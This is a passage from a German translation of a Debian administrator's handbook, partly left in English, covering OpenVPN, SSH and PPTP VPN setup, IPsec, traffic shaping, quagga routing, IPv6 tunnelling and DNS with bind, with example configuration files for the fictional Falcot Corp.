Jetzt kann das Zertifikat für den VPN-Server erstellt werden, wie auch die Diffie-Hellmann-Parameter, die für die Serverseite einer SSL/TLS-Verbindung benötigt werden. Der VPN-Server ist mit seinem DNS-Namen vpn.falcot.com gekennzeichnet; dieser Name wird für die erzeugten Schlüsseldateien wiederverwendet (keys/vpn.falcot.com.crt für das öffentliche Zertifikat, keys/vpn.falcot.com.key für den privaten Schlüssel):

$ ./build-key-server vpn.falcot.com Generating a 1024 bit RSA private key ...............++++++ ...........++++++ writing new private key to 'vpn.falcot.com.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [FR]: State or Province Name (full name) [Loire]: Locality Name (eg, city) [Saint-Étienne]: Organization Name (eg, company) [Falcot Corp]: Organizational Unit Name (eg, section) []: Common Name (eg, your name or your server's hostname) [vpn.falcot.com]: Name []: Email Address [admin@falcot.com]: Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []: Using configuration from /home/rhertzog/pki-falcot/openssl.cnf Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows countryName :PRINTABLE:'FR' stateOrProvinceName :PRINTABLE:'Loire' localityName :T61STRING:'Saint-\0xFFFFFFC3\0xFFFFFF89tienne' organizationName :PRINTABLE:'Falcot Corp' commonName :PRINTABLE:'vpn.falcot.com' emailAddress :IA5STRING:'admin@falcot.com' Certificate is to be certified until Oct 9 13:57:42 2020 GMT (3650 days) Sign the certificate? [y/n]:y 1 out of 1 certificate requests certified, commit? [y/n]y Write out database with 1 new entries Data Base Updated $ ./build-dh Generating DH parameters, 1024 bit long safe prime, generator 2 This is going to take a long time ..............+.......+.................................++*++*++*

Der folgende Schritt erstellt Zertifikate für die VPN-Clients; für jeden Rechner oder jede Person, der das VPN nutzen darf, ist ein eigenes Zertifikat erforderlich:

$ ./build-key JoeSmith Generating a 1024 bit RSA private key ................++++++ .............................++++++ writing new private key to 'JoeSmith.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [FR]: State or Province Name (full name) [Loire]: Locality Name (eg, city) [Saint-Étienne]: Organization Name (eg, company) [Falcot Corp]: Organizational Unit Name (eg, section) []: Common Name (eg, your name or your server's hostname) [JoeSmith]:Joe Smith Name []: Email Address [admin@falcot.com]:joe@falcot.com […]

Nachdem nun alle Zertifikate erstellt sind, müssen sie an die passenden Stellen kopiert werden: Der öffentliche Schlüssel des Ursprungszertifikats ((keys/ca.crt) wird auf allen Rechnern (sowohl Server als auch Clients) als /etc/ssl/certs/Falcot_CA.crt gespeichert. Das Zertifikat des Servers wird nur auf dem Server installiert (keys/vpn.falcot.com.crt geht nach /etc/ssl/vpn.falcot.com.crt und keys/vpn.falcot.com.key geht nach /etc/ssl/private/vpn.falcot.com.key mit eingeschränkten Berechtigungen, so dass nur der Administrator sie lesen kann), während die entsprechenden Diffie-Hellman-Parameter (keys/dh1024.pem) nach /etc/openvpn/dh1024.pem installiert werden. Die Client-Zertifikate werden in ähnlicher Weise auf den entsprechenden VPN-Clients installiert.

10.2.1.2. Konfigurieren des OpenVPN-Servers

Das voreingestellte OpenVPN-Initialisierungsskript versucht alle in /etc/openvpn/*.conf festgelegten virtuellen privaten Netzwerke zu starten. Einen VPN-Server einzurichten besteht daher darin, eine entsprechende Konfigurationsdatei in diesem Verzeichnis abzuspeichern. Ein guter Ausgangspunkt ist /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz, das zu einem recht standardisierten Server führt. Natürlich müssen einige Parameter angepasst werden: ca, cert, key und dh müssen die ausgewählten Orte bezeichnen (jeweils /etc/ssl/certs/Falcot_CA.crt, /etc/ssl/vpn.falcot.com.crt, /etc/ssl/private/vpn.falcot.com.key und /etc/openvpn/dh1024.pem). Die Anweisung server 10.8.0.0 255.255.255.0 bestimmt das für das VPN zu nutzende Subnetz; der Server belegt die erste IP-Adresse dieses Bereichs (10.8.0.1), während die übrigen Adressen den Clients zugeordnet werden.

Wenn OpenVPN mit dieser Konfiguration gestartet wird, wird die Schnittstelle des virtuellen Netzwerks erstellt, gewöhnlich unter dem Namen tun0. Jedoch werden Firewalls häufig zur gleichen Zeit wie die echten Netzwerkschnittstellen konfiguriert, also vor dem Start von OpenVPN. Ein bewährtes Verfahren besteht deshalb darin, eine dauerhafte Schnittstelle für das virtuelle Netzwerk einzurichten und OpenVPN so zu konfigurieren, dass es dann diese bereits bestehende Schnittstelle benutzt. Dies macht es auch möglich, einen Namen für diese Schnittstelle auszuwählen. Zu diesem Zweck erstellt der Befehl openvpn --mktun --dev vpn --dev-type tun eine Schnittstelle des virtuellen Netzwerks namens vpn und des Typs tun; dieser Befehl kann leicht in das Konfigurationsskript der Firewall integriert werden oder in eine up-Anweisung der Datei /etc/network/interfaces. Die OpenVPN-Konfigurationsdatei muss ebenfalls in entsprechender Weise mit den Anweisungen dev vpn und dev-type tun aktualisiert werden.

Ohne weitere Maßnahmen können VPN-Clients nur den Server selbst über die Adresse 10.8.0.1 erreichen. Um den Clients Zugang zum lokalen Netzwerk (192.168.0.0/24) zu gewähren, muss die Anweisung push route 192.168.0.0 255.255.255.0 zur OpenVPN-Konfiguration hinzugefügt werden, so dass VPN-Clients automatisch eine Netzwerkroute erhalten, die ihnen sagt, dass dieses Netzwerk über das VPN zu erreichen ist. Darüberhinaus müssen Rechner im lokalen Netzwerk ebenfalls darüber informiert werden, dass der Weg zum VPN über den VPN-Server verläuft (dies funktioniert automatisch, wenn der VPN-Server auf dem Gateway installiert ist). Alternativ kann der VPN-Server auch IP-Masquerading unterstützen, so dass von den VPN-Clients kommende Verbindungen so aussehen, als kämen sie stattdessen vom VPN-Server (siehe Section 10.1, “Gateway”).

10.2.1.3. Konfigurieren des OpenVPN-Clients

Das Einrichten eines OpenVPN-Clients erfordert auch das Erstellen einer Konfigurationsdatei in /etc/openvpn/. Eine Standard-Konfiguration findet sich in der Datei /usr/share/doc/openvpn/examples/sample-config-files/client.conf. Die Anweisung remote vpn.falcot.com 1194 bezeichnet die Adresse und den Port des OpenVPN-Servers; ca, cert und key müssen auch angepasst werden, so dass sie die Orte der Schlüsseldateien bezeichnen.

Falls das VPN beim Hochfahren nicht automatisch starten soll, setzen Sie die AUTOSTART-Anweisung in der Datei /etc/default/openvpn auf none. Das Starten oder Anhalten einer bestimmten VPN-Verbindung ist immer mit den Befehlen /etc/init.d/openpvn start name und /etc/init.d/openpvn stop name möglich (wobei die Verbindung name mit derjenigen übereinstimmen muss, die in /etc/openvpn/name.conf eingetragen ist.

Das Paket network-manager-openvpn-gnome enthält eine Erweiterung für Network Manager (siehe Section 8.2.4, “Automatische Netzwerkkonfigurierung für mobile Benutzer”), die es ermöglicht, OpenVPN-Netzwerke zu verwalten. Damit kann jeder Benutzer OpenVPN-Verbindungen grafisch konfigurieren und sie über das Netzwerkverwaltungs-Symbol kontrollieren.

10.2.2. Virtual Private Network mit SSH

Es gibt eigentlich zwei Wege, um ein virtuelles privates Netzwerk mit SSH einzurichten. Der historische erfordert eine PPP-Schicht über die SSH-Verbindung. Diese Methode wird in einem HOWTO-Dokument beschrieben:

→ http://www.tldp.org/HOWTO/ppp-ssh/

Die zweite Methode ist neueren Datums und wurde mit OpenSSH 4.3 eingeführt; OpenSSH kann jetzt Schnittstellen des virtuellen Netzwerks (tun*) auf beiden Seiten einer SSH-Verbindung erstellen, und diese virtuellen Schnittstellen können genauso konfiguriert werden, als seien es reale Schnittstellen. Das Tunnelungssystem muss zuvor aktiviert werden, indem PermitTunnel in der Konfigurationsdatei des SSH-Servers (/etc/ssh/sshd_config) auf "yes" gesetzt wird. Bei der Einrichtung der SSH-Verbindung muss die Erstellung eines Tunnels ausdrücklich mit der Option -w any:any verlangt werden (any kann durch die gewünschte tun-Gerätenummer ersetzt werden). DEr Benutzer benötigt Administratorrechte auf beiden Seiten, um das Netzwerkgerät erstellen zu können (mit anderen Worten: die Verbindung muss als Root eingerichtet werden).

Both methods for creating a virtual private network over SSH are quite straightforward. However, the VPN they provide is not the most efficient available; in particular, it does not handle high levels of traffic very well.

The explanation is that when a TCP/IP stack is encapsulated within a TCP/IP connection (for SSH), the TCP protocol is used twice, once for the SSH connection and once within the tunnel. This leads to problems, especially due to the way TCP adapts to network conditions by altering timeout delays. The following site describes the problem in more detail:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

VPNs over SSH should therefore be restricted to one-off tunnels with no performance constraints.

10.2.3. IPsec

Obwohl IPsec der Standard in IP-VPNs ist, ist es stärker an seiner Umsetzung beteiligt. Die IPsec-Engine ist im Linux-Kernel integriert; die erforderlichen Teile im User-Space sowie die Steuerungs- und Konfigurierungsprogramme werden vom Paket ipsec-tools bereitgestellt. Konkret enthält die Datei /etc/ipsec-tools.conf jedes Rechners die Parameter für die IPsec-Tunnel (oder in der IPsec-Terminologie: Security Associations), mit denen der Rechner zu tun hat; das Skript /etc/init.d/setkey bietet die Möglichkeit, einen Tunnel zu eröffnen oder zu schließen (jeder Tunnel ist eine sichere Verbindung zu einem anderen mit dem virtuellen privaten Netzwerk verbundenen Rechner). Diese Datei kann von Hand mithilfe der Dokumentation auf der Handbuchseite setkey(8) erstellt werden. Es wird jedoch schnell zu einer mühseligen Arbeit, die Parameter aller Rechner in einem nicht alltäglichen Satz von Geräten ausführlich niederzuschreiben, da die Anzahl der Tunnel schnell ansteigt. Die Installation eines IKE-Daemons (für IPsec Key Exchange), wie racoon, strongswan oder openswan, vereinfacht den Vorgang wesentlich durch das Bündeln der Verwaltung an einem zentralen Punkt und sicherer durch das regelmäßige Rotieren der Schlüssel.

Trotz seines Status als Referenz, schränkt die Komplexität der Einrichtung von IPsec seine Verwendung in der Praxis ein. Lösungen auf der Basis von OpenVPN werden im allgemeinen bevorzugt, solange die erforderlichen Tunnel weder zu zahlreich noch zu dynamisch sind.

VORSICHT IPsec und NAT

Firewalls mit NAT und IPsec funktionieren nicht gut zusammen: Da IPsec die Pakete signiert, macht jede Veränderung dieser Pakete, die die Firewall möglicherweise vornimmt, die Signatur ungültig, und die Pakete werden an ihrem Ziel zurückgewiesen. Mehrere IPsec-Anwendungen enthalten inzwischen die NAT-T-Technik (für NAT Traversal), die im Prinzip das IPsec-Paket in einem normalen UDP-Pakets einkapselt.

SICHERHEIT IPsec und Firewalls

In IPsec ist der Datenaustausch über den UDP-Port 500 für den Austausch von Schlüsseln voreingestellt (auch auf UDP-Port 4500, falls NAT-T benutzt wird). Darüberhinaus benutzen IPsec-Pakete zwei fest zugeordnete IP-Protokolle, die die Firewall durchlassen muss; der Empfang dieser Pakete basiert auf ihren Protokollnummern 50 (ESP) und 51 (AH).

10.2.4. PPTP

PPTP (für Point-to-Point Tunneling Protocol) verwendet zwei Kommunikationskanäle, einen für die Kontrolldaten und einen für die Nutzdaten; letzterer verwendet das GRE-Protokoll (Generic Routing Encapsulation). Über den Datenaustauschkanal wird dann eine Standard-PPP-Verbindung eingerichtet.

10.2.4.1. Den Client konfigurieren

Das Paket pptp-linux enthält einen leicht zu konfigurierenden PPTP-Client für Linux. Die folgenden Anweisungen sind durch die offizielle Dokumentation angeregt:

→ http://pptpclient.sourceforge.net/howto-debian.phtml

Die Falcot-Administratoren haben mehrere Dateien erstellt: /etc/ppp/options.pptp, /etc/ppp/peers/falcot, /etc/ppp/ip-up.d/falcot und /etc/ppp/ip-down.d/falcot.

Example 10.2. Die Datei /etc/ppp/options.pptp

# PPP options fuer eine PPTP connection lock noauth nobsdcomp nodeflate

Example 10.3. Die Datei /etc/ppp/peers/falcot

# vpn.falcot.com ist der PPTP server pty "pptp vpn.falcot.com --nolaunchpppd" # die Verbindung wird dem "vpn" Benutzer zugerechnet user vpn remotename pptp # Verschluesselung wird benuetigt require-mppe-128 file /etc/ppp/options.pptp ipparam falcot

Example 10.4. Die Datei /etc/ppp/ip-up.d/falcot

# Erzeuge Route in das Falcot Netzwerk if [ "$6" = "falcot" ]; then # 192.168.0.0/24 ist das (remote) Falcot-Netzwerk route add -net 192.168.0.0 netmask 255.255.255.0 dev $1 fi

Example 10.5. Die Datei /etc/ppp/ip-down.d/falcot

# Loesche die Route in das Falcot-Netzwerk if [ "$6" = "falcot" ]; then # 192.168.0.0/24 is the (remote) Falcot network route del -net 192.168.0.0 netmask 255.255.255.0 dev $1 fi

SICHERHEIT MPPE

PPTP wird mit der MPPE-Funktion abgesichert (Microsoft Point-to-Point Encryption), die in den offiziellen Debian-Kerneln als Modul vorhanden ist.

10.2.4.2. Den Server konfigurieren

VORSICHT PPTP und Firewalls

Zwischenliegende Firewalls müssen so konfiguriert sein, dass sie IP-Pakete durchlassen, die das Protokoll 47 (GRE) verwenden. Außerdem muss der Port 1723 des PPTP-Servers geöffnet sein, damit der Kommunikationskanal aufgebaut werden kann.

pptpd ist der PPTP-Server für Linux. Dessen Hauptkonfiguratiosdatei, /etc/pptpd.conf, erfordert nur sehr wenige Änderungen: localip (die lokale IP-Adresse) und remoteip (die entfernte IP-Adresse). Im folgenden Beispiel benutzt der PPTP-Server stets die Adresse 192.168.0.199, und PPTP-Clients erhalten Adressen von 192.168.0.200 bis 192.168.0.250.

Example 10.6. Die Datei /etc/pptpd.conf

# TAG: speed # # Specifies the speed for the PPP daemon to talk at. # speed 115200 # TAG: option # # Specifies the location of the PPP options file. # By default PPP looks in '/etc/ppp/options' # option /etc/ppp/pptpd-options # TAG: debug # # Turns on (more) debugging to syslog # # debug # TAG: localip # TAG: remoteip # # Specifies the local and remote IP address ranges. # # You can specify single IP addresses separated by commas or you can # specify ranges, or both. For example: # # 192.168.0.234,192.168.0.245-249,192.168.0.254 # # IMPORTANT RESTRICTIONS: # # 1. No spaces are permitted between commas or within addresses. # # 2. If you give more IP addresses than MAX_CONNECTIONS, it will # start at the beginning of the list and go until it gets # MAX_CONNECTIONS IPs. Others will be ignored. # # 3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238, # you must type 234-238 if you mean this. # # 4. If you give a single localIP, that's ok - all local IPs will # be set to the given one. You MUST still give at least one remote # IP for each simultaneous client. # #localip 192.168.0.234-238,192.168.0.245 #remoteip 192.168.1.234-238,192.168.1.245 #localip 10.0.1.1 #remoteip 10.0.1.2-100 localip 192.168.0.199 remoteip 192.168.0.200-250

Die PPP-Konfiguration des PPTP-Servers erfordert auch einige Änderungen in /etc/ppp/pptpd-options. Die wichtigen Parameter sind der Servername (pptp), der Domainname (falcot.com) und die IP-Adressen für DNS- und WINS-Server.

Example 10.7. Die Datei /etc/ppp/pptpd-options

## turn pppd syslog debugging on #debug ## change 'servername' to whatever you specify as your server name in chap-secrets name pptp ## change the domainname to your local domain domain falcot.com ## these are reasonable defaults for WinXXXX clients ## for the security related settings # The Debian pppd package now supports both MSCHAP and MPPE, so enable them # here. Please note that the kernel support for MPPE must also be present! auth require-chap require-mschap require-mschap-v2 require-mppe-128 ## Fill in your addresses ms-dns 192.168.0.1 ms-wins 192.168.0.1 ## Fill in your netmask netmask 255.255.255.0 ## some defaults nodefaultroute proxyarp lock

Im letzten Schritt wird der vpn-Benutzer (und das dazugehörige Passwort) in der Datei /etc/ppp/chap-secrets registriert. Hier muss statt des Sterns (*) der Servername ausdrücklich angegeben werden. Außerdem identifizieren sich Windows-PPTP-Clients in der Form DOMAIN\\BENUTZER statt nur einen Benutzernamen anzugeben. Dies erklärt, warum die Datei auch den Benutzer FALCOT\\vpn erwähnt. Es ist auch möglich, individuelle IP-Adressen für Benutzer anzugeben; ein Stern in diesem Feld bedeutet, dass dynamisch adressiert werden soll.

Example 10.8. Die Datei /etc/ppp/chap-secrets

# Secrets for authentication using CHAP # client server secret IP addresses vpn pptp f@Lc3au * FALCOT\\vpn pptp f@Lc3au *

SICHERHEIT PPTP-Schwachstellen

Microsofts erste PPTP-Anwendung zog wegen der vielen Sicherheitslücken heftige Kritik auf sich; die meisten sind in neueren Versionen behoben worden. Die in diesem Abschnitte beschriebene Konfiguration verwendet die jüngste Version des Protokolls. Seien Sie sich jedoch bewusst, dass das Entfernen einiger Optionen (wie require-mppe-128 und require-mschap-v2) den Dienst wieder angreifbar machen würde.

10.3. Quality of Service

10.3.1. Prinzip und Mechanismus

Quality of Service (or QoS for short) refers to a set of techniques that guarantee or improve the quality of the service provided to applications. The most popular such technique involves classifying the network traffic into categories, and differentiating the handling of traffic according to which category it belongs to. The main application of this differentiated services concept is traffic shaping, which limits the data transmission rates for connections related to some services and/or hosts so as not to saturate the available bandwidth and starve important other services. Traffic shaping is a particularly good fit for TCP traffic, since this protocol automatically adapts to available bandwidth.

Es ist auch möglich die Prioritäten für den Datenverkehr zu ändern, wodurch Pakete interaktiver Dienste (wie ssh und telnet) oder von Diensten mit kleinen Datenblöcken bevorzugt werden.

Die Debian-Kernel enthalten die für QoS erforderlichen Funktionen und die dazugehörigen Module. Diese Module sind zahlreich, und jedes von ihnen stellt einen anderen Dienst bereit, vor allem mittels spezieller Steuerprogramme für die Warteschlangen der IP-Pakete; die große Vielfalt der Verhaltensweisen der verfügbaren Steuerprogramme deckt den gesamten Bereich möglicher Anforderungen ab.

KULTUR LARTC — Linux Advanced Routing & Traffic Control

The Linux Advanced Routing & Traffic Control HOWTO is the reference document covering everything there is to know about network quality of service.

→ http://www.lartc.org/howto/

10.3.2. Konfigurieren und Ausführen

QoS-Parameter werden mit dem Befehl tc gesetzt (vom Paket iproute bereitgestellt). Da diese Schnittstelle recht komplex ist, ist die Verwendung von Programmen auf höherer Ebene empfehlenswert.

10.3.2.1. Latenzzeiten verringern: wondershaper

Die Hauptaufgabe von wondershaper (in dem Paket ähnlichen Namens) besteht darin, Latenzzeiten unabhängig von der Netzauslastung zu minimieren. Dies wird dadurch erreicht, dass der gesamte Datenverkehr auf einen Wert begrenzt wird, der gerade unterhalb des Wertes für die vollständige Auslastung der Verbindung liegt.

Sobald eine Netzwerkschnittstelle konfiguriert ist, wird das Einstellen der Datenverkehrsbegrenzung durch das Ausführen von wondershaper schnittstelle download_rate upload_rate erreicht. Die Schnittstelle kann zum Beispiel eth0 oder ppp0 sein, und beide Raten werden in Kilobits pro Sekunde ausgedrückt. Der Befehl wondershaper remove schnittstelle unterbindet die Datenverkehrskontrolle an der genannten Schnittstelle.

Für eine Ethernetverbindung wird dieses Skript am besten unmittelbar nach der Konfiguration der Schnittstelle aufgerufen. Dies geschieht, indem up- und down-Anweisungen zur Datei /etc/network/interfaces hinzugefügt werden, die es den angegebenen Befehlen erlauben zu laufen, nachdem die Schnittstelle konfiguriert beziehungsweise bevor sie dekonfiguriert wird. Zum Beispiel:

Example 10.9. Änderungen in der Datei /etc/network/interfaces

iface eth0 inet dhcp up /sbin/wondershaper eth0 500 100 down /sbin/wondershaper remove eth0

Im Falle von PPP aktiviert ein Skript, das wondershaper in /etc/ppp/ip-up.d/ aufruft, die Datenverkehrskontrolle, sobald die Verbindung steht.

WEITERE SCHRITTE Optimale Konfiguration

Die Datei /usr/share/doc/wondershaper/README.Debian.gz beschreibt recht genau die vom Paketbetreuer empfohlene Konfiguration. Insbesondere rät es dazu, die Upload- und Downloadgeschwindigkeit zu messen, um so am besten die tatsächlichen Grenzen abzuschätzen.

10.3.2.2. Standard-Konfiguration

Falls es keine besondere QoS-Konfiguration gibt, verwendet der Linux-Kernel das Warteschlangen-Steuerprogramm pfifo_fast, das selbst einige interessante Funktionen aufweist. Die Priorität jedes verarbeiteten IP-Pakets hängt von dessen ToS-Feld (Type of Service) ab; es genügt, dieses Feld zu ändern, um die zeitlichen Steuerungsfunktionen zu nutzen. Es gibt fünf mögliche Werte:

Normal-Service (0);

Minimize-Cost (2);

Maximize-Reliability (4);

Maximize-Throughput (8);

Minimize-Delay (16).

Das ToS-Feld kann durch Anwendungen, die IP-Pakete erzeugen, erstellt oder im laufenden Betrieb mit netfilter verändert werden. Die folgenden Regeln genügen, um die Ansprechbarkeit des SSH-Dienstes eines Servers zu erhöhen:

iptables -t mangle -A PREROUTING -p tcp --sport ssh -j TOS --set-tos Minimize-Delay iptables -t mangle -A PREROUTING -p tcp --dport ssh -j TOS --set-tos Minimize-Delay

10.4. Dynamisches Routing

Das Referenzprogramm für das dynamische Routing ist zur Zeit quagga, aus dem Paket ähnlichen Namens; früher war es zebra, bis seine Entwicklung eingestellt wurde. Jedoch führte quagga die Bezeichnungen der Programme aus Kompatibilitätsgründen fort, wodurch sich die untenstehenden zebra-Befehle erklären.

ZURÜCK ZU DEN GRUNDLAGEN Dynamisches Routing

Dynamic routing allows routers to adjust, in real time, the paths used for transmitting IP packets. Each protocol involves its own method of defining routes (shortest path, use routes advertised by peers, and so on).

Im Linux-Kernel verbindet eine Route ein Netzwerkgerät mit einer Reihe von Rechnern, die über dieses Gerät erreicht werden können. Der Befehl route legt neue Routen fest und zeigt bestehende an.

Quagga ist ein Satz von Daemons, die bei der Festlegung der Routingtabellen des Linux-Kernels zusammenarbeiten; jedes Routingprotokoll (insbesondere BGP, OSPF und RIP) stellt seinen eigenen Daemon bereit. Der zebra-Daemon sammelt Informationen von anderen Daemons und verarbeitet statische Routingtabellen dementsprechend. Die übrigen Daemons sind bekannt als bgpd, ospfd, ospf6d, ripd und ripngd.

Daemons werden durch Editieren der Datei /etc/quagga/daemons und Erstellen der entsprechenden Konfigurationsdatei in /etc/quagga/ aktiviert; diese Konfigurationsdatei muss nach dem Daemon benannt sein, mit der Erweiterung .conf, und dem quagga-Benutzer und der quaggavty-Gruppe gehören, damit das Skript /etc/init.d/quagga den Daemon aufruft.

Zur Konfiguration jedes dieser Daemons ist es erforderlich, das betreffende Routingprotokoll zu kennen. Diese Protokolle können hier nicht im Einzelnen beschrieben werden, jedoch stellt quagga-doc umfangreiche Erläuterungen in Form einer info-Datei bereit. Der gleiche Stoff kann auch leichter als HTML auf der Quagga-Webseite durchsucht werden:

→ http://www.quagga.net/docs/docs-info.php

Außerdem ist die Syntax der Konfigurationsschnittstelle eines Standard-Routers sehr ähnlich, und Netzwerk-Administratoren werden sich schnell an quagga gewöhnen.

IN DER PRAXIS OSPF, BGP or RIP?

OSPF ist im Allgemeinen das beste Protokoll in privaten Netzwerken dynamisch zu routen, während BGP für das Internet-weite Routing üblicher ist. RIP ist recht alt und wird nur noch selten verwendet.

10.5. IPv6

IPv6, der Nachfolger von IPv4, ist eine neue Version des IP-Protokolls, das mit dem Ziel entwickelt wurde, seine Schwächen zu beheben, vor allem die Knappheit verfügbarer IP-Adressen. Dieses Protokoll handhabt die Netzwerkschichten; es adressiert die Rechner, überträgt Daten an ihr vorgesehenes Ziel und erledigt falls erforderlich die Datenfragmentierung (mit anderen Worten, Pakete in Stücke aufzuteilen und diese Stücke bei der Ankunft wieder in ihrer richtigen Reihenfolge zusammenzusetzen. Die Größe der Pakete hängt von den Netzwerkverbindungen ab.).

Debian-Kernel unterstützen IPv6 im Core-Kernel (was nicht immer der Fall war; das ipv6-Modul war früher optional). Die IPv6-Äquivalente grundlegender Programme wie ping und traceroute heißen ping6 und traceroute6 und sind in den Paketen iputils-ping beziehungsweise iputils-tracepath verfügbar.

Das IPv6-Netzwerk wird ähnlich wie IPv4 in /etc/network/interfaces konfiguriert. Wenn jedoch dieses Netzwerk global verfügbar sein soll, müssen Sie einen IPv6-fähigen Router haben, um den Datenverkehr an das weltweite IPv6-Netzwerk zu übermitteln.

Example 10.10. Beispiel einer IPv6-Konfiguration

iface eth0 inet6 static address 2001:db8:1234:5::1:1 netmask 64 # Disabling auto-configuration # up echo 0 >/proc/sys/net/ipv6/conf/all/autoconf # The router is auto-configured and has no fixed address # (/proc/sys/net/ipv6/conf/all/accept_ra). If it had: # gateway 2001:db8:1234:5::1

Falls keine native IPv6-Verbindung verfügbar ist, besteht kann ein Tunnel über IPv4 verwenden werden. Freenet6 ist ein (kostenloser) Anbieter solcher Tunnel:

→ http://www.freenet6.net/

Um einen Freenet6-Tunnel verwenden zu können, müssen Sie sich auf der Webseite registrieren, dann das Paket tspc installieren und den Tunnel konfigurieren. Hierzu muss die Datei /etc/tsp/tspc.conf editiert werden: die Zeilen userid und password, die Sie per E-Mail erhalten, sollten hinzugefügt und server durch broker.freenet6.net ersetzt werden.

IPv6-Konnektivität wird allen Rechnern eines lokalen Netzes durch das Hinzufügen der folgenden drei Anweisungen zu der Datei /etc/tsp/tspc.conf angeboten (unter der Annahme, dass das lokale Netz mit der eth0-Schnittstelle verbunden ist):

host_type=router prefix_len=48 if_prefix=eth0

Der Rechner wird hiermit zum Zugangsrouter für ein Subnetz mit einem 48-Bit-Präfix. Sobald der Tunnel diese Veränderung erkennt, muss das lokale Netzwerk hierüber informiert werden; dies bedeutet, dass der radvd-Daemon installiert werden muss (aus dem Paket ähnlichen Namens). Dieser IPv6-Konfigurationsdaemon hat eine ähnliche Rolle wie dhcpd in der IPv4-Welt.

Anschließend muss die Konfigurationsdatei /etc/radvd.conf erstellt werden (siehe /usr/share/doc/radvd/examples/simple-radvd.conf als Ausgangspunkt). In unserem Fall muss nur das Präfix verändert werden, das durch das von Freenet6 bereitgestellte ersetzt werden muss; es ist in der Ausgabe des Befehls ifconfig zu finden im Absatz zur tun-Schnittstelle.

Dann führen Sie /etc/init.d/tspc restart und /etc/init.d/radvd start aus, und das IPv6-Netzwerk sollte funktionieren.

TIP Programme mit IPv6-Unterstützung

Many pieces of software need to be adapted to handle IPv6. Most of the packages in Debian Squeeze have been adapted already, but not all. A few volunteers had previously created a package archive dedicated to software specially rebuilt for IPv6; this archive was decommissioned in March 2007, both for lack of time and for lack of interest (since most of the patches have been integrated into the official packages). If your favorite package does not work with IPv6 yet, help can be found on the debian-ipv6 mailing-list.

→ http://lists.debian.org/debian-ipv6/

VORSICHT IPv6 und Firewalls

IPv6 tunneling over IPv4 (as opposed to native IPv6) requires the firewall to accept the traffic, which uses IPv4 protocol number 41. IPv6 connections can be restricted, in the same fashion as for IPv4: the standard Debian kernels include an adaptation of netfilter for IPv6. This IPv6-enabled netfilter is configured in a similar fashion to its IPv4 counterpart, except the program to use is ip6tables instead of iptables.

10.6. Domain Name Server (DNS)

10.6.1. Prinzip und Mechanismus

Der Domain Name Service (DNS) ist ein grundlegender Bestandteil des Internets: Er löst Rechnernamen in IP-Adressen auf (und umgekehrt), wodurch es möglich ist, www.debian.org statt 82.195.75.97 zu verwenden.

DNS-Einträge sind in Zonen gegliedert; jede Zone entspricht einer Domain (oder Subdomain) oder einem Bereich von IP-Adressen (da IP-Adressen normalerweise in fortlaufenden Bereichen angeordnet sind). Ein Hauptserver ist für den Inhalt einer Zone zuständig; untergeordnete Server, die normalerweise auf separaten Rechnern untergebracht sind, stellen regelmäßig aktualisierte Kopien der Hauptzone bereit.

Jede Zone enthält Aufzeichnungen verschiedener Art (Resource Records):

A: IPv4-Adresse.

CNAME: Alias (canonical name).

MX: mail exchange, ein E-Mailserver. Diese Information wird von anderen E-Mailservern dazu benutzt herauszufinden, wohin an eine bestimmte Adresse gerichtete E-Mail geschickt werden soll. Jeder MX-Eintrag hat eine bestimmte Priorität. Zunächst wird ein Versuch beim Server mit der höchsten Priorität (mit der niedrigsten Nummer) unternommen (siehe Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN SMTP); andere Server werden nach abnehmender Priorität kontaktiert, falls der erste nicht antwortet.

PTR: Namenszuordnung zu einer IP-Adresse. Ein derartiger Eintrag ist in einer "reverse-DNS"-Zone gespeichert, die nach dem IP-Adressbereich benannt ist. Zum Beispiel ist 1.168.192.in-addr.arpa die Zone, die die umgekehrten Zuordnungen aller Adressen im Bereich 192.168.1.0/24 enthält.

AAAA: IPv6-Adresse.

NS: ordnet einen Namen einem Namensserver zu. Jede Domain muss wenigstens einen NS-Eintrag haben. Diese Einträge verweisen auf einen DNS-Server, der Anfragen beantworten kann, die diese Domain betreffen; sie verweisen gewöhnlich auf die primären und sekundären Server für diese Domain. Diese Einträge erlauben auch eine DNS-Delegierung; zum Beispiel kann die Zone falcot.com einen NS-Eintrag für internal.falcot.com enthalten, was bedeutet, dass die Zone internal.falcot.com von einem anderen Server gehandhabt wird. Natürlich muss dieser Server dann eine internal.falcot.com-Zone festlegen.

Der Referenz-Namensserver Bind wurde vom ISC (Internet Software Consortium) entwickelt und betreut. Er wird in Debian durch das Paket bind9 bereitgestellt. Version 9 weist im Vergleich zu früheren Versionen zwei größere Veränderungen auf. Zum einen kann der DNS-Server jetzt unter einem nicht privilegierten Benutzer laufen, so dass ein Angreifer durch eine Sicherheitslücke im Server keine Administratorrechte erlangen kann (wie bei den Versionen 8.x häufiger geschehen).

Zum anderen unterstützt Bind den DNSSEC-Standard zum Signieren (und damit Authentifizieren) von DNS-Einträgen, wodurch Spoofing dieser Daten durch einen Man-In-The-Middle-Angriff unterbunden werden kann.

KULTUR DNSSEC

Die DNSSEC-Norm ist recht komplex; dies erklärt zum Teil, warum seine Verwendung noch nicht weitverbreitet ist (obwohl es ohne weiteres neben DNS-Servern bestehen kann, die das DNSSEC nicht bemerken). Um alle Einzelheiten zu verstehen, sollten Sie einen Blick in den folgenden Artikel werfen:

→ http://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.6.2. Konfigurieren

Konfigurationsdateien für bind haben unabhängig von der Version die gleiche Struktur.

The Falcot administrators created a primary falcot.com zone to store information related to this domain, and a 168.192.in-addr.arpa zone for reverse mapping of IP addresses in the local networks.

VORSICHT Bezeichnung umgekehrter Zonen

